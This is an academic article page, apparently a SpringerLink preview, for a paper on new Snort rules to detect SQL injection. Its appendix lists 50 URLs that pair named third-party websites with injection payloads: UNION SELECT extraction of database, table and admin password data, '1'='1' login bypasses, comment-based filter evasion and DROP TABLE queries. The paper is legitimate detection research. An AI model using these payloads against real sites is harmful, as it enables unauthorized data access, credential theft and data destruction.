Skip to main content
SpringerLink
Log in

A Novel Approach for Detecting SQL Injection Attacks Using Snort

  • Original Contribution
  • Published:
Journal of The Institution of Engineers (India): Series B Aims and scope Submit manuscript

Abstract

Web applications are emerging as a new platform for representing data and services offered by all kinds of business models and organisations and are therefore more vulnerable to security threats. Most of the organisations rely largely on intrusion detection systems to identify threats to their data. SQL injection is one of the most prevalent and widely used web attack but the ability of intrusion detection systems in detecting it is limited. For different variants of SQL injection attacks, new signatures need to be identified and incorporated in signature-based intrusion detection systems for effective detection. In this paper, five new rules are proposed for signature-based intrusion detection system, Snort including signatures that cover a wider range of SQL injection attacks. The rules also consider the issue of hexadecimal values, white spaces and comment introduced by the attacker in the SQL injection attacks. The proposed rules are tested on self-made dataset of SQL injected websites and normal websites. The proposed rules show a very good recall rate thereby depicting the good performance of the proposed approach in detecting SQL injection attacks.

This is a preview of subscription content, log in via an institution to check access.

Access this article

Log in via an institution

Price excludes VAT (USA)
Tax calculation will be finalised during checkout.

Instant access to the full article PDF.

Institutional subscriptions

Fig. 1
Fig. 2

Similar content being viewed by others

References

  1. C. Kubecka, State of the Internet/ Security Report, Akamai, Q4 2017.

  2. Web Application Attack Statistics, Positive technologies, 2017.

  3. T. Armerding, The 17 biggest data breaches of the 21st century, CSO, 2018.

  4. S. Anwar, J.M. Zain, M.F. Zolkipli, Z. Inayat, S. Khan, B. Anthony, V. Chang, From intrusion detection to an intrusion response system: fundamentals, requirements and future directions. MDPI Algorithms 10(2), 1–24 (2017)

    Google Scholar 

  5. W. Park, S. Ahn, Performance comparison and detection analysis in snort and suricata environment. Wirel. Pers. Commun. 94(2), 241–252 (2017)

    Article  Google Scholar 

  6. H. Alnabulsi, M. R. Islam and Q. Mamun, Detecting SQL Injection Attacks Using SNORT IDS, in Asia-Pacific World Congress on Computer Science and Engineering, Nadi, 2014.

  7. R. Silva, R. Barbosa and J. Bernardino, Testing snort with SQL injection attacks. In Proceedings of the 9th International C* Conference on Computer Science & Software Engineering, 2016.

  8. G. Kumar, Evaluation metrics for intrusion detection systems—a study. Int. J. Comput. Sci. Mobile Appl. 2(11), 11–17 (2014)

    Google Scholar 

  9. M. Dabbour, I. Alsmadi, E. Alsukhni, Efficient assessment and evaluation for websites vulnerabilities using SNORT. Int. J. Secur. Appl. 7(1), 1 (2013)

    Google Scholar 

  10. K. K. Mookhey and N. Burghate, Detection of SQL Injection and Cross-site Scripting Attacks, SecurityFocus.com, 17 March 2004. [Online]. [Accessed 2018].

  11. B. Warneck, Defeating SQL Injection IDS Evasion, Global Information Assurance Certification, 2007.

  12. G. Veerman and R. Oprea, Database SQL Injections Detection And Protection, Universiteit van Amsterdam, May 30, 2012.

  13. L. Etienne, Malicious Traffic Detection in Local Networks with Snort, EPFL, 2009.

  14. J. Clarke, Sql injection using UNION, in SQL Injection Attacks and Defence, Syngress, 2009.

  15. V. Luong, Intrusion Detection and Prevention System: SQL Injection Attacks, San José State University, 2010.

Download references

Funding

The authors have not disclosed any funding.

Author information

Authors and Affiliations

  1. Department of Computer Science and IT, University of Jammu, Jammu, India

    Alka Gupta & Lalit Sen Sharma

Authors
  1. Alka Gupta
    View author publications

    You can also search for this author in PubMed Google Scholar

  2. Lalit Sen Sharma
    View author publications

    You can also search for this author in PubMed Google Scholar

Corresponding author

Correspondence to Alka Gupta.

Ethics declarations

Conflict of interest

The authors have not disclosed any competing interests.

Additional information

Publisher's Note

Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.

Appendix 1

Appendix 1

S. No

SQL Injected Websites

1

http://www.agirmedia.de/newsdetail.php?ID=1%20union%20select1,concat(user()),3,4,5,6%E2%80%94

2

https://www.caldwellsecurities.com/showpages.php?id=123%27%20union%20selec/*extra*/t%201,2%20%20from%20users

3

http://www.freeinfosociety.com/article.php?id=354%27%20union%20all%20select%201,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

4

https://www.geneticsandsociety.org/article/3-person-ivf?id=6527%20union%20select%20fld_password,2,3,4,5,6%20from%20tbl_admin%20where%20fld_password%20=%20null%20or%201%20=%201

5

http://som.adzu.edu.ph/newsupdates/index.php?id=1%27%20union%20select1,group_concat(table_name),3,4,5,6%20frominformation_schema.tables%20where%20table_schema=database()–

6

http://www.freeinfosociety.com/article.php?id=354%20union%20select1,concat(database()),3,4,5,6

7

http://www.freeinfosociety.com/article.php?id=354%20un######ion%20select1,concat(database()),3,4,5,6

8

http://www.jetskiworld.gr/gallery.php?id=2%20union%20select1,group_concat(column_name),3,4,5,6%20frominformation_schema.columns

9

www.nlp-institutes.net/show.php?id=620520unionselect1,concat(database()),3,4,5,6

10

http://www.schaben-spinnen.de/Content/shop.php?cat=19%20union%20select1,concat(database()),3,4,5,6

11

http://www.schaben-spinnen.de/Content/shop.php?cat=19%20union%20selec/*@@version*/t1fld_password,2,3,4,5,6-%20from%20tbl_admin%20where%20fld_password%20=%20null%20or%20'value'='value' not detected

12

http://godotartgallery.com/godot.asp?category.asp?cat=4%20union%20select1,concat(database()),3,4,5,

13

mcxchakraa.com/buy.php?Id = -2 union select1,concat(database()),3,4,5,6–

14

http://www.carbodydesign.com/goto.php?id=2716%20union%20select1,concat(database()),3,4,5,

15

http://www.interplay.com/games/support.php?id=4219%20union%20select1,concat(database()),3,4,5,

16

http://www.carbodydesign.com/goto.php?id=2716%20union%20select%20fld_password,2,3,4,5,6- %20from%20tbl_admin%20where%20fld_password%2 0 = %20null%20or%20'value' = 'value'

17

https://www.dairybusiness.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

18

https://www.dairybusiness.com/product.php?id=10%20AND%201=1

19

www.nlp-institutes.net/show.php?id=12%27%20and%20%27a%27%20%3C%20%27h

20

https://www.web.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

21

http://www.backtothepast.com.mx/shopk/shop.php?cat=12%27%20and%20%27a%27%20%3C%20%27h&password=1%27%20and%20%271%27%20=%20%271

22

http://www.poloperformanceparts.co.uk/shop.php?cat=2%20%20and%20%275%27%20%3E%20%271&password=1%27and%20%271%27%20=%20%271

23

http://www.poloperformanceparts.co.uk/shop.php?cat=2%20%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

24

www.schaben-spinnen.de/Content/shop.php?cat=19%20 and'10' < '5&password = 1' and'1' = '1

25

http://www.probewetsuits.com/shop/category.asp?Cat=22%27%20%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

26

https://www.web.com/.php?id=10 AND 1 = 1

27

http://www.schaben-spinnen.de/Content/shop.php?cat=19%20%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

28

http://mcxchakraa.com/buy.php?Id=-2%27%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

29

http://godotartgallery.com/godot.asp?category.asp?cat=4%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

30

http://www.backtothepast.com.mx/shopk/shop.php?cat=12%27%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

31

http://www.agirmedia.de/newsdetail.php?ID=1%27%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

32

https://www.caldwellsecurities.com/showpages.php?id=1%27%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

33

http://www.freeinfosociety.com/article.php?id=1%27%20or%20%271%27%20=%20%271&password=1%27%20or%20%271%27%20=%20%271

34

https://www.geneticsandsociety.org/article/3-person-ivf?id=6521%27%20oand%20%271%27%20=%20%271&password=1%27%20and%20%271%27%20=%20%271

35

http://www.backtothepast.com.mx/shopk/shop.php?cat=12%27%20and%20%271%27%20=%20%271

36

http://som.adzu.edu.ph/newsupdates/index.php?id=67%27%20or%20%27l%27<%27d

37

http://www.backtothepast.com.mx/shopk/shop.php?cat=12%27union%20select1,group_concat(table_name),3,4,5,6%20frominformation_schema.tables%20where%20table_schema=database()–

38

http://www.musicharts.net/index.php?cat=charts%27&chid=2%20union%20select1,group_concat(table_name),3,4,5,6%20frominformation_schema.tables%20where%20table_schema=database()–

39

http://www.sendpoints.cn/newsDetail.php?id=24%270union%20select1,group_concat(table_name),3,4%20frominformation_schema.tables%20where%20table_schema=database()–

40

https://www.dairybusiness.com/ox_show.php?id=6%27union%20select1,group_concat(table_name),3,4%20frominformation_schema.tables%20where%20table_schema=database()–

41

http://www.schaben-spinnen.de/Content/shop.php?cat=19%20union%20all%20select1,2,3,4,5,group_concat%28name,0x3a,pswd%29,7,8,9,10,11,12,13,14,15,16,17,18%20from%20admin–

42

http://www.agirmedia.de/newsdetail.php?ID=1%20union%20select1,concat(user()),3,4,5,6%E2%80%94

43

http://som.adzu.edu.ph/newsupdates/index.php?id=1%27%20union%20drop%20table%20from%20information_schema.tables%20where%20table_schema=database()–

44

https://www.web.com/?id=437%27%20union%20all%20select%201,@@hostname,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%E2%80%94

45

http://www.carbodydesign.com/goto.php?id=2716%20union%20select%20fld_password,2,3,4,5,6-%20from%20tbl_admin%20where%20fld_password%20=%20null%20or%20'value'='value'

46

http://www.sendpoints.cn/newsDetail.php?id=24%27%20union%20select1,@@datadir,3,4,5,6%E2%80%94

47

http://www.musicharts.net/index.php?cat=charts%27&chid=2%20union%20select1,@@version,3,4,5,6%20frominformation_schema.tables%20where%20table_schema=database()–

48

http://www.poloperformanceparts.co.uk/shop.php?cat=2%20union%20drop%20table%20from%20information_schema.tables%20where%20table_schema=database()–

49

https://www.web.com/?id=12%20union%20select%20fld_password,2,3,4,5,6%20from%20tbl_admin%20where%20fld_password%20=%20null%20or%20fld_password%20is%20not%20null%3b%23

50

https://www.dairybusiness.com/ox_show.php?id=6%27%20union%20select%20UUID(),2,3,4,5,6—

Rights and permissions

Reprints and permissions

About this article

Check for updates. Verify currency and authenticity via CrossMark

Cite this article

Gupta, A., Sharma, L.S. A Novel Approach for Detecting SQL Injection Attacks Using Snort. J. Inst. Eng. India Ser. B 103, 1443–1451 (2022). https://doi.org/10.1007/s40031-022-00749-z

Download citation

  • Received:

  • Accepted:

  • Published:

  • Issue Date:

  • DOI: https://doi.org/10.1007/s40031-022-00749-z

Keywords

Search

Navigation